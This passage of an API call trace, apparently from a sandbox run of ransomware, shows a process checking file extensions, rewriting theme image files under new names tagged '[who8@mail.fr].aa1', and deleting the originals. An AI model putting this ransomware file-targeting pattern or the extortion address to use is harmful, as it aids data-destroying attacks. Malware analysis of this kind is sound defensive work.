lpString2=".GIF") returned -1 [0222.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.382] lstrlenW (lpString=".1cd") returned 4 [0222.382] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0222.382] lstrlenW (lpString=".jpg") returned 4 [0222.382] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.383] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.383] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.757] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=19485) returned 1 [0222.757] CloseHandle (hObject=0x224) returned 1 [0222.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0222.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.757] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.757] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0222.758] GetLastError () returned 0x0 [0222.758] ReadFile (in: hFile=0x224, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0222.784] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0222.785] ReadFile (in: hFile=0x224, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.785] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.786] SetEndOfFile (hFile=0x164) returned 1 [0222.786] CloseHandle (hObject=0x164) returned 1 [0222.786] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.786] SetEndOfFile (hFile=0x224) returned 1 [0222.787] CloseHandle (hObject=0x224) returned 1 [0222.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.787] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0222.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.788] lstrlenW (lpString=".doc") returned 4 [0222.788] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.788] lstrlenW (lpString=".docx") returned 5 [0222.788] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.788] lstrlenW (lpString=".pdf") returned 4 [0222.788] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.788] lstrlenW (lpString=".xls") returned 4 [0222.788] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.788] lstrlenW (lpString=".xlsx") returned 5 [0222.788] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.788] lstrlenW (lpString=".ppt") returned 4 [0222.788] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.788] lstrlenW (lpString=".zip") returned 4 [0222.788] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.788] lstrlenW (lpString=".rar") returned 4 [0222.788] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.788] lstrlenW (lpString=".bz2") returned 4 [0222.788] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.788] lstrlenW (lpString=".7z") returned 3 [0222.788] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.789] lstrlenW (lpString=".dbf") returned 4 [0222.789] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.789] lstrlenW (lpString=".1cd") returned 4 [0222.789] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.789] lstrlenW (lpString=".jpg") returned 4 [0222.789] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.789] lstrlenW (lpString=".doc") returned 4 [0222.789] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.789] lstrlenW (lpString=".docx") returned 5 [0222.789] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.789] lstrlenW (lpString=".pdf") returned 4 [0222.789] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.789] lstrlenW (lpString=".xls") returned 4 [0222.789] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.789] lstrlenW (lpString=".xlsx") returned 5 [0222.789] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.789] lstrlenW (lpString=".ppt") returned 4 [0222.790] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.790] lstrlenW (lpString=".zip") returned 4 [0222.790] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.790] lstrlenW (lpString=".rar") returned 4 [0222.790] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.790] lstrlenW (lpString=".bz2") returned 4 [0222.790] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.790] lstrlenW (lpString=".7z") returned 3 [0222.790] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.790] lstrlenW (lpString=".dbf") returned 4 [0222.790] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.790] lstrlenW (lpString=".1cd") returned 4 [0222.790] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0222.790] lstrlenW (lpString=".jpg") returned 4 [0222.790] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.790] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.790] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.791] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1364) returned 1 [0222.791] CloseHandle (hObject=0x224) returned 1 [0222.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0222.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.791] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.791] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0222.844] GetLastError () returned 0x0 [0222.844] ReadFile (in: hFile=0x224, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x554, lpOverlapped=0x0) returned 1 [0223.192] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x560, lpOverlapped=0x0) returned 1 [0223.193] ReadFile (in: hFile=0x224, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.193] WriteFile (in: hFile=0x164, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.193] SetEndOfFile (hFile=0x164) returned 1 [0223.193] CloseHandle (hObject=0x164) returned 1 [0223.193] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.193] SetEndOfFile (hFile=0x224) returned 1 [0223.194] CloseHandle (hObject=0x224) returned 1 [0223.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0223.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.195] lstrlenW (lpString=".doc") returned 4 [0223.195] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.195] lstrlenW (lpString=".docx") returned 5 [0223.195] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.195] lstrlenW (lpString=".pdf") returned 4 [0223.195] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.195] lstrlenW (lpString=".xls") returned 4 [0223.195] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.195] lstrlenW (lpString=".xlsx") returned 5 [0223.195] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.195] lstrlenW (lpString=".ppt") returned 4 [0223.195] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.195] lstrlenW (lpString=".zip") returned 4 [0223.195] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.195] lstrlenW (lpString=".rar") returned 4 [0223.195] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.195] lstrlenW (lpString=".bz2") returned 4 [0223.195] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.195] lstrlenW (lpString=".7z") returned 3 [0223.195] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.196] lstrlenW (lpString=".dbf") returned 4 [0223.196] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.196] lstrlenW (lpString=".1cd") returned 4 [0223.196] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.196] lstrlenW (lpString=".jpg") returned 4 [0223.196] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.196] lstrlenW (lpString=".doc") returned 4 [0223.196] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.196] lstrlenW (lpString=".docx") returned 5 [0223.196] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.196] lstrlenW (lpString=".pdf") returned 4 [0223.196] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.196] lstrlenW (lpString=".xls") returned 4 [0223.196] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.196] lstrlenW (lpString=".xlsx") returned 5 [0223.196] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.196] lstrlenW (lpString=".ppt") returned 4 [0223.196] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.196] lstrlenW (lpString=".zip") returned 4 [0223.196] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.196] lstrlenW (lpString=".rar") returned 4 [0223.196] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.196] lstrlenW (lpString=".bz2") returned 4 [0223.196] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.196] lstrlenW (lpString=".7z") returned 3 [0223.196] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.196] lstrlenW (lpString=".dbf") returned 4 [0223.196] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.197] lstrlenW (lpString=".1cd") returned 4 [0223.197] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0223.197] lstrlenW (lpString=".jpg") returned 4 [0223.197] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.197] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0223.197] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0223.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0223.197] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1593) returned 1 [0223.197] CloseHandle (hObject=0x224) returned 1 [0223.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0223.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0223.198] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.198] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0223.927] GetLastError () returned 0x0 [0223.928] ReadFile (in: hFile=0x224, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x639, lpOverlapped=0x0) returned 1 [0223.932] WriteFile (in: hFile=0x188, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x640, lpOverlapped=0x0) returned 1 [0223.933] ReadFile (in: hFile=0x224, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.934] WriteFile (in: hFile=0x188, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0223.934] SetEndOfFile (hFile=0x188) returned 1 [0223.934] CloseHandle (hObject=0x188) returned 1 [0223.934] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.934] SetEndOfFile (hFile=0x224) returned 1 [0223.935] CloseHandle (hObject=0x224) returned 1 [0223.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.935] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0223.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.936] lstrlenW (lpString=".doc") returned 4 [0223.936] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.936] lstrlenW (lpString=".docx") returned 5 [0223.936] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.936] lstrlenW (lpString=".pdf") returned 4 [0223.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.936] lstrlenW (lpString=".xls") returned 4 [0223.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.936] lstrlenW (lpString=".xlsx") returned 5 [0223.936] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.936] lstrlenW (lpString=".ppt") returned 4 [0223.936] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.936] lstrlenW (lpString=".zip") returned 4 [0223.936] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.936] lstrlenW (lpString=".rar") returned 4 [0223.936] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.936] lstrlenW (lpString=".bz2") returned 4 [0223.936] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.936] lstrlenW (lpString=".7z") returned 3 [0223.936] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.936] lstrlenW (lpString=".dbf") returned 4 [0223.936] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.936] lstrlenW (lpString=".1cd") returned 4 [0223.937] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.937] lstrlenW (lpString=".jpg") returned 4 [0223.937] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.937] lstrlenW (lpString=".doc") returned 4 [0223.937] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0223.937] lstrlenW (lpString=".docx") returned 5 [0223.937] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0223.937] lstrlenW (lpString=".pdf") returned 4 [0223.937] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0223.937] lstrlenW (lpString=".xls") returned 4 [0223.937] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0223.937] lstrlenW (lpString=".xlsx") returned 5 [0223.937] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0223.937] lstrlenW (lpString=".ppt") returned 4 [0223.937] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.937] lstrlenW (lpString=".zip") returned 4 [0223.937] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0223.937] lstrlenW (lpString=".rar") returned 4 [0223.937] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0223.937] lstrlenW (lpString=".bz2") returned 4 [0223.937] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0223.937] lstrlenW (lpString=".7z") returned 3 [0223.937] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.938] lstrlenW (lpString=".dbf") returned 4 [0223.938] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0223.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0223.938] lstrlenW 